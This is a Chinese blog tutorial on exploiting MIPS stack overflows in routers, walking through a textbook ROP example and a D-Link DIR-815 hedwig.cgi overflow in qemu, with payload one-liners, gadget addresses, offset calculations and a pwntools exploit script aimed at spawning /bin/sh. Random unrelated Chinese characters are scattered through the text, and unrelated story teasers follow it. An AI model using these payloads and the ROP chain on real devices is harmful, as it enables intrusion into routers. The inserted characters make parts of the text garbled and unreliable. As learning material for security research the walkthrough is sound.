路由器漏洞利用入門

路由器漏洞利用

0x0 背景知識(shí)

1.MIPS指令集合

MIPS 指令集主要使用在一些嵌入式的 IOT 設(shè)備中筷厘,比如路由器吞滞,攝像頭砍聊。要對(duì)這些設(shè)備進(jìn)行二進(jìn)制的漏洞挖掘就需要有對(duì) MIPS 有一定的熟悉唧龄。MIPS 指令集的棧溢出與 x86 指令集的有所不同局冰,所以漏洞的利用方式也不太相同吊洼,但是溢出的思路是一樣的:覆蓋返回地址训貌、劫持程序控制流、構(gòu)造 ROP chain 冒窍、寫 shellcode 等等递沪。本文介紹一下最基本的 MIPS 指令集下的棧溢出的利用方法。

2.x86 和 MIPS 指令集的差異

1.MIPS 指令系統(tǒng)大量使用寄存器超燃,包括返回地址也是存放在 ra 寄存器中
2.沒有堆棧直接操作的指令区拳,也就是沒有 push 和 pop 指令
3.所有指令都是 32 位編碼,也就是說所有的數(shù)據(jù)和指令都是 4 字節(jié)對(duì)齊意乓。

由于 MIPS 固定指令長度樱调,所以造成其編譯后的二進(jìn)制文件和內(nèi)存占用空間比 x86 的要大
MIPS 指令集使用 uclibc C 標(biāo)準(zhǔn)庫,x86 使用 libc 的 C 標(biāo)準(zhǔn)庫

基本的指令用法和兩者的差異可以參考這里:
https://blog.csdn.net/gujing001/article/details/8476685

3.MIPS 的動(dòng)態(tài)調(diào)試

在 qemu 上開啟一個(gè)調(diào)試端口(-g 指定端口號(hào))届良,在 IDA 上使用 Remote GDB debugger笆凌,填上端口號(hào)和主機(jī)名即可

./qemu-mipsel -g 23946 xxxx

具體的步驟可以看這里
http://www.reibang.com/p/9841b412af37

  • 也可以使用 gdb 進(jìn)行調(diào)試,但是 gdb 需要使用專門支持 mips 指令集的 gdb 版本
4. 葉子函數(shù)和非葉子函數(shù)

? 葉子函數(shù)和非葉子函數(shù)是兩個(gè)非常重要的概念士葫,兩者的一些特性照成了對(duì)棧溢出利用方式的差異乞而。在某個(gè)函數(shù)中,如果這個(gè)函數(shù)不調(diào)用其他函數(shù)慢显,那么就這個(gè)稱為葉子函數(shù)爪模。反則這個(gè)函數(shù)就是非葉子函數(shù)欠啤。葉子函數(shù)的返回地址是直接在ra寄存器中,而非葉子函數(shù)的返回地址會(huì)先保存在棧上屋灌。

  1. 非葉子函數(shù)洁段,有 sw $ra,xxx 的操作,在函數(shù)退出時(shí)共郭,會(huì)將存放在棧上的原來存放 ra 寄存器的值重新賦值到 ra 寄存器中祠丝。
  2. 葉子函數(shù),沒有 sw $ra,xxx 的操作除嘹。
5. 尋找ROP鏈

在 IDA 中尋找并構(gòu)造 ROP chain 是使用 mipsrop.py 這個(gè)腳本來輔助 查找的(本來只支持IDA 6.8版本写半,大佬已經(jīng)更新到了ida7.0的api,我在mac上的ida 7.0親測(cè)用尉咕。使用方法是直接吧py文件復(fù)制到plugins文件夾下即可):
https://github.com/devttys0/ida/tree/master/plugins/mipsrop

  • 這里也可以直接使用做pwn題目經(jīng)常使用的ROPgadget

使用:

mipsrop.stackfinder() 尋找棧數(shù)據(jù)可控的 rop叠蝇,建立和 a0a1 寄存器的關(guān)系
mipsrop.summary() 列出所有的可用 rop
mipsrop.system() 尋找命令執(zhí)行的的rop
mipsrop.find(xxx) 查找 find 函數(shù)參數(shù)的 rop龙考,類似正則匹配

0x1 例子分析

1. 源碼

? 這里選擇下面一個(gè)書中的例子說明下mips架構(gòu)下rop的使用:

  • 很明顯漏洞在main函數(shù)中蟆肆,是一個(gè)棧溢出
  • 需要控制do_system_0函數(shù)的第二個(gè)參數(shù)cmd矾睦,也就是要控制a1寄存器
  • main函數(shù)是非葉子函數(shù)晦款,因此其返回地址存儲(chǔ)在棧上,因此可以溢出覆蓋返回地址枚冗,劫持控制流/
#include <stdio.h>
#include <sys/stat.h>
#include <unistd.h>

void do_system_0(int code,char *cmd)
{
    char buf[255];
    //sleep(1);
    system(cmd);
}

void main()
{
    char buf[256]={0};
    char ch;
    int count = 0;
    unsigned int fileLen = 0;
    struct stat fileData;
    FILE *fp;

    if(0 == stat("passwd",&fileData))
        fileLen = fileData.st_size;
    else
        return 1;

    if((fp = fopen("passwd","rb")) == NULL)
    {
        printf("Cannot open file passwd!n");
        exit(1);
    }


    ch=fgetc(fp);
    while(count <= fileLen)
    {
        buf[count++] = ch;
        ch = fgetc(fp);
    }
    buf[--count] = 'x00';

    if(!strcmp(buf,"adminpwd"))
    {
        do_system(count,"ls -l");
    }
    else
    {
        printf("you have an invalid password!n");
    }
    fclose(fp);
}

使用 mipsrop.stackfinder() 命令來找找看

Python>mipsrop.stackfinder()
----------------------------------------------------------------------------------------------------------------
|  Address     |  Action                                              |  Control Jump                          |
----------------------------------------------------------------------------------------------------------------
|  0x00417990  |  addiu $a3,$sp,0x18                                  |  jr    0x24($sp)                       |
|  0x00417FF0  |  addiu $a2,$sp,0x18                                  |  jr    0x24($sp)                       |
|  0x004185F4  |  addiu $a2,$sp,0x18                                  |  jr    0x24($sp)                       |
----------------------------------------------------------------------------------------------------------------
Found 3 matching gadgets
  • 結(jié)果找到一個(gè)將棧上的數(shù)據(jù)保存到a1中的gadget缓溅,以及一個(gè)控制流跳轉(zhuǎn)指令
2. exp分析
python -c "print 'a'*0x108+'x00x40x1Dx40'+'b'*24+'x2fx62x69x6e'+'x2fx73x68x00'+'c'*0x34+'x00x40x03x90'" > passwd
  • 'a' * 0x108 在 main 函數(shù)的棧空間填充到返回地址
  • 'x00x40x1Dx40' ROP chain 的地址
  • 'b' * 24 填充為 do_system_0 的第一個(gè)參數(shù)
  • x2fx62x69x6e'+'x2fx73x68x00' /bin/sh 字符串
  • 'c'*0x34 填充
  • 'x00x40x03x90' 填充返回地址赁温,調(diào)用 do_system_0 函數(shù)

https://www.anquanke.com/post/id/169689

將這個(gè)程序運(yùn)行起來坛怪,會(huì)讀取 passwd 中的內(nèi)容填充到程序的棧空間中股囊,這樣就可以得到 shell

0x3 利用練習(xí)

gdb+qumu調(diào)試

? 在《揭秘家用路由0day漏洞挖掘》一書中使用的調(diào)試方式是使用ida pro袜匿,遠(yuǎn)程attach到qemu自帶的gdbserver中實(shí)現(xiàn)調(diào)試,這里給出使用gdb+qumu的調(diào)試方法

  • 啟動(dòng)路由器固件的運(yùn)行腳本如下所示稚疹,這里使用了書中第一個(gè)棧溢出的例子居灯。
#!/bin/sh
#sudo ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x600"`
INPUT="$1"
TEST="$2"
LEN=$(echo -n "$INPUT" | wc -c)
PORT="1234"
if [ "$LEN" == "0" ] || [ "$INPUT" == "-h" ] || [ "$UID" != "0" ]
then
    echo -e "\nUsage: sudo $0 \n"
    exit 1
fi
cp $(which qemu-mipsel) ./qemu
echo "$INPUT" | sudo chroot . ./qemu -E CONTENT_LENGTH=$LEN -E CONTENT_TYPE="application/x-www-form-urlencoded" -E REQUEST_METHOD="POST" -E HTTP_COOKIE="$TEST" -E REQUEST_URI="/hedwig.cgi" -E REMOTE_ADDR="127.0.0.1" -g $PORT /htdocs/web/hedwig.cgi
echo "run ok"
rm -f ./qemu
  • 這里有幾點(diǎn)需要注意一下:

    • 運(yùn)行的時(shí)候由于ubutu默認(rèn)的shell解釋器是dash,但是書中給出的腳本的語法是bash的内狗,因此運(yùn)行的時(shí)候制定使用bash作為解釋器運(yùn)行

    • 使用qemu -g的選項(xiàng)是指定gdb server的端口

啟動(dòng)gdb進(jìn)行鏈接:

? 由于ubuntu自帶的gdb只支持x86和x64架構(gòu)的怪嫌,因此需要下載支持mips架構(gòu)調(diào)試的gdb,這里可以直接使用如下命令進(jìn)行安裝:

$ sudo apt-get install gdb-multiarch

? 下載安裝完成后運(yùn)行, 使用 target remote localhost:1234 指定遠(yuǎn)程調(diào)試的ip和端口:

$ gdb-multiarch ./hedwig.cgi
(gdb) set arch mips
The target architecture is assumed to be mips
(gdb) set endian little
The target is assumed to be little endian
(gdb) target remote localhost:1234
Remote debugging using localhost:1234
  • 這里有一個(gè)問題就是我在鏈接qemu的gdbserver的時(shí)候柳沙,報(bào)錯(cuò)Remote ‘g’ packet reply is too long岩灭,網(wǎng)上查了相關(guān)資料說是因?yàn)?qemu 修改了部分gdbserver的源碼,返回的信息長度不一致赂鲤,需要做如下修改并重新編譯噪径,具體可以參考鏈接 https://blog.csdn.net/u013592097/article/details/70549657 柱恤,但是我按照說明重新編譯了下,但是安裝失敗了找爱,而且再次打開 gdb-multiarch 注意到提示 This GDB was configured as "x86_64-linux-gnu". 猜測(cè)應(yīng)該不是上述問題膨更。

  • 補(bǔ)充: 出現(xiàn)上述的原因是因?yàn)間db-multiarch的版本依然是只支持x86_64架構(gòu)的版本,因此還是需要安裝對(duì)應(yīng)版本的gdb進(jìn)行調(diào)試缴允。

  • 經(jīng)過測(cè)試發(fā)現(xiàn)荚守,如果要進(jìn)行遠(yuǎn)程調(diào)試的話,需要使用 qemu-mipsel-static练般,參考鏈接為 https://xz.aliyun.com/t/3826

    apt-get install qemu binfmt-support qemu-user-static
    
  • 但是會(huì)出現(xiàn)下面的錯(cuò)誤:

    # bash ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x405+'BBBB'"`
    qemu: /build/qemu-vx6Pwx/qemu-2.11+dfsg/accel/tcg/translate-all.c:2114: page_check_range: Assertion `start < ((target_ulong)1 << L1_MAP_ADDR_SPACE_BITS)' failed.
    qemu:handle_cpu_signal received signal outside vCPU context @ pc=0x60166552
    run ok
    
  • 原因是使用的插件在和遠(yuǎn)程gdbserver交互的過程中出錯(cuò)了矗漾,這里我嘗試了 gef、pwndbg 薄料、gef三個(gè)插件都不行敞贡,只能直接使用gdb命令。(或許還是因?yàn)間dbserver和gdb版本對(duì)應(yīng)不上摄职。誊役。。谷市。i_i), 艱難的使用了一下原版gdb蛔垢,放棄。迫悠。鹏漆。。

(gdb) frame 0
#0  0x00409680 in hedwigcgi_main ()
(gdb) info frame
Stack level 0, frame at 0x7fffed30:
 pc = 0x409680 in hedwigcgi_main; saved pc = 0x7f78ff00
 called by frame at 0x7fffede0
 Arglist at 0x7fffed30, args: 
 Locals at 0x7fffed30, Previous frame's sp is 0x7fffed30
 Saved registers:
  s0 at 0x7fffed08, s1 at 0x7fffed0c, s2 at 0x7fffed10, s3 at 0x7fffed14, s4 at 0x7fffed18, s5 at 0x7fffed1c, s6 at 0x7fffed20,
  s7 at 0x7fffed24, gp at 0x7fffe858, s8 at 0x7fffed28, ra at 0x7fffed2c, pc at 0x7fffed2c
(gdb) 

D-LINK 815 路由器調(diào)試
  • 使用本節(jié)中給出的腳本创泄,運(yùn)行后使用ida附加調(diào)試艺玲,在409680處設(shè)置斷點(diǎn),運(yùn)行后單步調(diào)試鞠抑,觀察寄存器的變化饭聚,當(dāng)程序運(yùn)行到 0x0409A54 的位置后,觀察到其中所存儲(chǔ)的數(shù)據(jù)均變成了AAAAAA字符串搁拙,可見確實(shí)存在溢出秒梳。

  • 計(jì)算棧溢出位置到棧上存儲(chǔ)的ra位置偏移:

    ra 位置7FFFE93C  A起始位置 7FFFE537 偏移為0x405(pid=1234的時(shí)候)
    
    
    7FFFE4F0  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
    7FFFE500  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
    7FFFE510  00 00 00 00 00 00 00 00  2F 72 75 6E 74 69 6D 65  ......../runtime
    7FFFE520  2F 73 65 73 73 69 6F 6E  2F 31 32 33 34 26 70 61  /session/1234&pa
    7FFFE530  73 73 77 6F 72 64 3D 41  41 41 41 41 41 41 41 41  ssword=AAAAAAAAA
    7FFFE540  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    7FFFE550  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    7FFFE560  41 41 41 41 41 41 41 41  41 41 41 41 41 41 41 41  AAAAAAAAAAAAAAAA
    
    
    7FFFE514  00000000  MEMORY:dword_0
    7FFFE518  6E75722F  MEMORY:6E75722F
    7FFFE51C  656D6974  MEMORY:656D6974
    7FFFE520  7365732F  MEMORY:7365732F
    7FFFE524  6E6F6973  MEMORY:6E6F6973
    7FFFE528  3332312F  MEMORY:3332312F
    7FFFE52C  61702634  MEMORY:61702634
    7FFFE530  6F777373  MEMORY:6F777373
    7FFFE534  413D6472  MEMORY:413D6472
    7FFFE538  41414141  MEMORY:41414141
    7FFFE53C  41414141  MEMORY:41414141
    7FFFE540  41414141  MEMORY:41414141
    
  • 根據(jù)函數(shù)的執(zhí)行流程,會(huì)去嘗試打開 /var/tmp/temp.xml 感混,但是提取出來的固件文件系統(tǒng)中沒有這個(gè)文件端幼,由于手頭并沒有實(shí)際路由器,這里利用過程按照模擬環(huán)境處理弧满。

棧溢出利用
  • 利用的思路和x86架構(gòu)下類似婆跑,主要分為以下幾個(gè)步驟:
  1. 尋找棧偏移,劫持程序控制流域庭呜。

  2. 執(zhí)行 system(“/bin/shx00”)滑进,這里的參數(shù)可以使用 mipsrop.stackfinder() 的 gadget 來把 “/bin/shx00” 傳到棧上犀忱。之后將這個(gè)棧的位置傳入 a0 寄存器,這樣就達(dá)到了利用的目的扶关。

  • 這里有幾點(diǎn)需要注意下:
  1. system 函數(shù)的位置阴汇,在 0x00053200 處,顯然地址的最低位是壞字節(jié)节槐,沒辦法直接傳入
  2. 根據(jù)《揭秘家用路由器0day漏洞挖掘技術(shù)》書中的方法先將 system 函數(shù)的地址 -1 傳入某個(gè)寄存器中搀庶,之后找到對(duì)這個(gè)寄存器進(jìn)行加 +1 的操作的 gadget 進(jìn)行調(diào)用即可將地址恢復(fù)到 0x53200。
  • ROP鏈如下:
  1. 將s0寄存器的位置寫為 system_addr - 1
  2. 將s0寄存器+1
  3. 尋找棧操作的相關(guān)gadget(mov a0铜异,stack_addr) stack_addr 儲(chǔ)存了執(zhí)行shell命令的字符串
  4. call system

根據(jù)以上思路:

  • 首先根據(jù)上述計(jì)算出的偏移0x405哥倔,進(jìn)行驗(yàn)證,使用如下命令啟動(dòng)腳本:

  • bash ./run.sh 'uid=1234' `python -c "print 'uid=1234&password='+'A'*0x405+'BBBB'"`
    

    可以得到如下結(jié)果揍庄,已經(jīng)能夠成功控制程序的控制流:

    7FFFED10  41414141  MEMORY:41414141
    7FFFED14  41414141  MEMORY:41414141
    7FFFED18  41414141  MEMORY:41414141
    7FFFED1C  41414141  MEMORY:41414141
    7FFFED20  41414141  MEMORY:41414141
    7FFFED24  41414141  MEMORY:41414141
    7FFFED28  41414141  MEMORY:41414141
    7FFFED2C  42424242  MEMORY:42424242
    7FFFED30  736F702F  MEMORY:736F702F
    7FFFED34  6C6D7874  MEMORY:6C6D7874
    7FFFED38  7F7E9300  MEMORY:7F7E9300
    
  • 尋找 s0 + 1的gadget咆蒿,這里在用7.0版本的ida的mipsrop插件的時(shí)候報(bào)錯(cuò)了,嘗試修復(fù)失敗蚂子,根據(jù)書中地址沃测,手動(dòng)找到了一個(gè)地址為0x000158D0的gadget:

    .text:000158C8
    .text:000158C8 loc_158C8:                               # CODE XREF: sub_157DC+B0↑j
    .text:000158C8                 move    $t9, $s5
    .text:000158CC                 jalr    $t9
    .text:000158D0                 addiu   $s0, 1    /////////
    .text:000158D4                 sb      $s7, 0($v0)
    .text:000158D8                 lw      $a1, 0($s2)
    .text:000158DC                 addiu   $a0, $v0, 1
    .text:000158E0                 move    $t9, $s5
    .text:000158E4                 jalr    $t9       /////////  相當(dāng)于jalr,$s5
    .text:000158E8                 move    $a2, $s4
    .text:000158EC                 lw      $gp, 0x40+var_30($sp)
    .text:000158F0                 la      $t9, free
    .text:000158F4                 jalr    $t9 ; free
    .text:000158F8                 lw      $a0, 0($s2)
    .text:000158FC                 lw      $gp, 0x40+var_30($sp)
    .text:00015900                 sw      $s1, 0($s2)
    
  • 接下來尋找傳遞參數(shù)的的gadget,這里選用0x159CC處的gadget:

    | 0x000159CC | addiu $s5,$sp,0x170+var_160 | jalr $s0 |
    
    .text:000159CC                 addiu   $s5, $sp, 0x170+var_160
    .text:000159D0                 move    $a1, $s3
    .text:000159D4                 move    $a2, $s1
    .text:000159D8                 move    $t9, $s0
    .text:000159DC                 jalr    $t9 ; mempcpy
    .text:000159E0                 move    $a0, $s5
    .text:000159E4                 lw      $gp, 0x170+var_160($fp)
    .text:000159E8                 move    $a0, $v0             
    

    ? 也就是先吧 sp+10處的值傳遞到 s5寄存器食茎,最后將 s5 寄存器中當(dāng)作參數(shù)傳遞給 a0蒂破,這里執(zhí)行的是 jalr $t9 ;因此,我們只需要提前把 s0 設(shè)置為system函數(shù)的地址董瞻,最后實(shí)際上執(zhí)行的就是 system函數(shù)寞蚌。

常見 mips 反匯編跳轉(zhuǎn)指令
li $a0,1 li田巴,即加載立即數(shù)到寄存器中
jr和jal jr 跳轉(zhuǎn)到寄存器钠糊。jal會(huì)把下一條指令存儲(chǔ)在ra寄存器中

? jal、jalr:這兩條指令分別實(shí)現(xiàn)了直接和間接子程序調(diào)用壹哺。在跳轉(zhuǎn)到指定地址實(shí)現(xiàn)子程序調(diào)用的同時(shí)抄伍,需要將返回地址(當(dāng)前指令地址+8)保存到 ra($31)寄存器中。為什么是當(dāng)前指令地址加8呢管宵?這是因?yàn)榫o隨跳轉(zhuǎn)指令之后有一條立即執(zhí)行的延遲槽指令(例如nop占位指令)截珍,加8剛好是延遲槽后面的那條有效指令。從子程序返回是通過寄存器跳轉(zhuǎn)完成箩朴,通常調(diào)用 jr ra岗喉。

尋找動(dòng)態(tài)鏈接庫的實(shí)際地址

? 由于我這里gdb的插件不能用,嘗試手動(dòng)cat相關(guān)地址:

nevv@ubuntu:~/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root$ sudo cat /proc/9425/maps
[sudo] password for nevv: 
60000000-602ee000 r-xp 00000000 08:01 806503                             /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/qemu
604ee000-6054a000 rw-p 002ee000 08:01 806503                             /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/qemu
6054a000-60561000 rw-p 00000000 00:00 0 
60561000-6255f000 rwxp 00000000 00:00 0 
6255f000-62560000 ---p 00000000 00:00 0 
62560000-6257d000 rw-p 00000000 00:00 0 
63099000-63100000 rw-p 00000000 00:00 0                                  [heap]
7f09345e1000-7f09349e1000 ---p 00000000 00:00 0 
7f09349e1000-7f09349fd000 r-xp 00000000 08:01 840193                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin
7f09349fd000-7f0934a0d000 ---p 00000000 00:00 0 
7f0934a0d000-7f0934a0e000 rw-p 0001c000 08:01 840193                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin
7f0934a0e000-7f0934a11000 rw-p 00000000 00:00 0 
7f0934a11000-7f09b3d19000 ---p 00000000 00:00 0 
7f09b3d19000-7f09b3d77000 r-xp 00000000 08:01 840894                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d77000-7f09b3d86000 ---p 00000000 00:00 0 
7f09b3d86000-7f09b3d87000 r--p 0005d000 08:01 840894                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d87000-7f09b3d88000 rw-p 0005e000 08:01 840894                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libuClibc-0.9.30.1.so
7f09b3d88000-7f09b3d8d000 rw-p 00000000 00:00 0 
7f09b3d8d000-7f09b3d8e000 ---p 00000000 00:00 0 
7f09b3d8e000-7f09b3db7000 r-xp 00000000 08:01 840874                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libgcc_s.so.1
7f09b3db7000-7f09b3dc7000 ---p 00000000 00:00 0 
7f09b3dc7000-7f09b3dc8000 rw-p 00029000 08:01 840874                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/libgcc_s.so.1
7f09b3dc8000-7f09b3dc9000 ---p 00000000 00:00 0 
7f09b3dc9000-7f09b3dca000 rw-p 00000000 00:00 0 
7f09b3dca000-7f09b3dcf000 r-xp 00000000 08:01 840866                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3dcf000-7f09b3dde000 ---p 00000000 00:00 0 
7f09b3dde000-7f09b3ddf000 r--p 00004000 08:01 840866                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3ddf000-7f09b3de0000 rw-p 00005000 08:01 840866                     /home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/lib/ld-uClibc-0.9.30.1.so
7f09b3de0000-7f09b3de1000 ---p 00000000 00:00 0 
7f09b3de1000-7f09b4662000 rw-p 00000000 00:00 0 
7f09b4662000-7f09b4663000 ---p 00000000 00:00 0 
7f09b4663000-7f09b4e63000 rw-p 00000000 00:00 0 
7ffda09b3000-7ffda09d5000 rw-p 00000000 00:00 0                          [stack]
7ffda09e8000-7ffda09eb000 r--p 00000000 00:00 0                          [vvar]
7ffda09eb000-7ffda09ed000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

? 但是由于程序是qemu仿真執(zhí)行的炸庞,因此cat出來的地址并不是程序的真實(shí)地址钱床,只能想一想曲線救國的辦法,使用殘缺功能的gdb:

(gdb) p system
$6 = {<text variable, no debug info>} 0x7f78b200 <system>

? 而 system 函數(shù)在動(dòng)態(tài)鏈接庫中的偏移是 0x53200 埠居,因此可以計(jì)算出libc的實(shí)際地址是 0x7f738000查牌,并且每次運(yùn)行時(shí)地址均不變事期,原因是什么安全檢查都沒開(—_—):

$ checksec cgibin
[*] Checking for new versions of pwntools
[*] Checking for new versions of pwntools
[*] Checking for new versions of pwntools
    To disable this functionality, set the contents of /home/nevv/.pwntools-cache/update to 'never'.
[*] You have the latest version of Pwntools (3.12.2)
[*] '/home/nevv/IOT/FirmWare/dir815_FW_101/_DIR-815 FW 1.01b14_1.01b14.bin.extracted/squashfs-root/htdocs/cgibin'
    Arch:     mips-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

exp
from pwn import *
context.endian="little"
context.arch="mips"

base_addr = 0x7f738000
system_addr_1 = 0x53200-1
rop1 = 0x000158c8  # addiu $s0 ,1 | jalr $s5  ->save_to ret address
rop2 = 0x159CC      # addiu $s5,$sp,0x170+var_160 | jalr $s0 | save_to_s5


padding = 'uid=1234&password=' + 'a' * (0x405-9*4)
padding += p32(base_addr + system_addr_1)                              # s0
padding += 'a' * 4                        # s1
padding += 'a' * 4                        # s2
padding += 'a' * 4                              # s3
padding += 'a' * 4                              # s4
padding += p32(base_addr+rop2)               # s5
padding += 'a' * 4                              # s6
padding += 'a' * 4                              # s7
padding += 'a' * 4                              # fp
padding += p32(base_addr + rop1)        # ra


#------------------------- stack 2 ---------------------------
padding += 'b' * 0x10
padding += '/bin//sh'

with open("call_system_padding",'wb') as f:

    f.write(padding)



f.close()

? 我在本地執(zhí)行的過程中,確并沒有g(shù)et到shell纸颜,gdb調(diào)試:

當(dāng)執(zhí)行到0x7f74d9dc: 
   0x7f74d9cc:  addiu   s5,sp,16
   0x7f74d9d0:  move    a1,s3
   0x7f74d9d4:  move    a2,s1
   0x7f74d9d8:  move    t9,s0
   0x7f74d9dc:  jalr    t9
   0x7f74d9e0:  move    a0,s5

可以看到:
(gdb) p $t9
$9 = 2138616320
(gdb) p system
$10 = {<text variable, no debug info>} 0x7f78b200 <system>
(gdb) 
>>> hex(2138616320)
'0x7f78b200'

確實(shí)調(diào)用了system函數(shù)兽泣,但是參數(shù)似乎有點(diǎn)問題:
(gdb) x /s $s5
0x7fffed10: "/bin//sh/postxml"

    
直接在system函數(shù)位置下斷點(diǎn):
Breakpoint 4, 0x7f74d9dc in ?? () from ./lib/libc.so.0
(gdb) c
Continuing.
Breakpoint 5, 0x7f78b200 in system () from ./lib/libc.so.0
(gdb) x /s $a0
0x7fffed00: "/bin/sh/postxml"

? 嘗試了幾種方法進(jìn)行截?cái)喽疾恍小胁孙;蛟S是姿勢(shì)不對(duì)唠倦?0.0

參考鏈接

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末,一起剝皮案震驚了整個(gè)濱河市涮较,隨后出現(xiàn)的幾起案子牵敷,更是在濱河造成了極大的恐慌,老刑警劉巖法希,帶你破解...
    沈念sama閱讀 216,544評(píng)論 6 501
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件枷餐,死亡現(xiàn)場(chǎng)離奇詭異,居然都是意外死亡苫亦,警方通過查閱死者的電腦和手機(jī)毛肋,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 92,430評(píng)論 3 392
  • 文/潘曉璐 我一進(jìn)店門,熙熙樓的掌柜王于貴愁眉苦臉地迎上來屋剑,“玉大人润匙,你說我怎么就攤上這事“ω遥” “怎么了孕讳?”我有些...
    開封第一講書人閱讀 162,764評(píng)論 0 353
  • 文/不壞的土叔 我叫張陵,是天一觀的道長巍膘。 經(jīng)常有香客問我厂财,道長,這世上最難降的妖魔是什么峡懈? 我笑而不...
    開封第一講書人閱讀 58,193評(píng)論 1 292
  • 正文 為了忘掉前任璃饱,我火速辦了婚禮,結(jié)果婚禮上肪康,老公的妹妹穿的比我還像新娘荚恶。我一直安慰自己,他們只是感情好磷支,可當(dāng)我...
    茶點(diǎn)故事閱讀 67,216評(píng)論 6 388
  • 文/花漫 我一把揭開白布谒撼。 她就那樣靜靜地躺著,像睡著了一般雾狈。 火紅的嫁衣襯著肌膚如雪廓潜。 梳的紋絲不亂的頭發(fā)上,一...
    開封第一講書人閱讀 51,182評(píng)論 1 299
  • 那天,我揣著相機(jī)與錄音茉帅,去河邊找鬼叨叙。 笑死,一個(gè)胖子當(dāng)著我的面吹牛堪澎,可吹牛的內(nèi)容都是我干的擂错。 我是一名探鬼主播,決...
    沈念sama閱讀 40,063評(píng)論 3 418
  • 文/蒼蘭香墨 我猛地睜開眼樱蛤,長吁一口氣:“原來是場(chǎng)噩夢(mèng)啊……” “哼钮呀!你這毒婦竟也來了?” 一聲冷哼從身側(cè)響起昨凡,我...
    開封第一講書人閱讀 38,917評(píng)論 0 274
  • 序言:老撾萬榮一對(duì)情侶失蹤爽醋,失蹤者是張志新(化名)和其女友劉穎,沒想到半個(gè)月后便脊,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體蚂四,經(jīng)...
    沈念sama閱讀 45,329評(píng)論 1 310
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 37,543評(píng)論 2 332
  • 正文 我和宋清朗相戀三年哪痰,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了遂赠。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片。...
    茶點(diǎn)故事閱讀 39,722評(píng)論 1 348
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡晌杰,死狀恐怖跷睦,靈堂內(nèi)的尸體忽然破棺而出,到底是詐尸還是另有隱情肋演,我是刑警寧澤抑诸,帶...
    沈念sama閱讀 35,425評(píng)論 5 343
  • 正文 年R本政府宣布,位于F島的核電站爹殊,受9級(jí)特大地震影響蜕乡,放射性物質(zhì)發(fā)生泄漏。R本人自食惡果不足惜边灭,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 41,019評(píng)論 3 326
  • 文/蒙蒙 一异希、第九天 我趴在偏房一處隱蔽的房頂上張望。 院中可真熱鬧绒瘦,春花似錦、人聲如沸扣癣。這莊子的主人今日做“春日...
    開封第一講書人閱讀 31,671評(píng)論 0 22
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽父虑。三九已至该酗,卻和暖如春,著一層夾襖步出監(jiān)牢的瞬間,已是汗流浹背呜魄。 一陣腳步聲響...
    開封第一講書人閱讀 32,825評(píng)論 1 269
  • 我被黑心中介騙來泰國打工悔叽, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留,地道東北人爵嗅。 一個(gè)月前我還...
    沈念sama閱讀 47,729評(píng)論 2 368
  • 正文 我出身青樓娇澎,卻偏偏與公主長得像,于是被迫代替她去往敵國和親睹晒。 傳聞我的和親對(duì)象是個(gè)殘疾皇子趟庄,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 44,614評(píng)論 2 353

推薦閱讀更多精彩內(nèi)容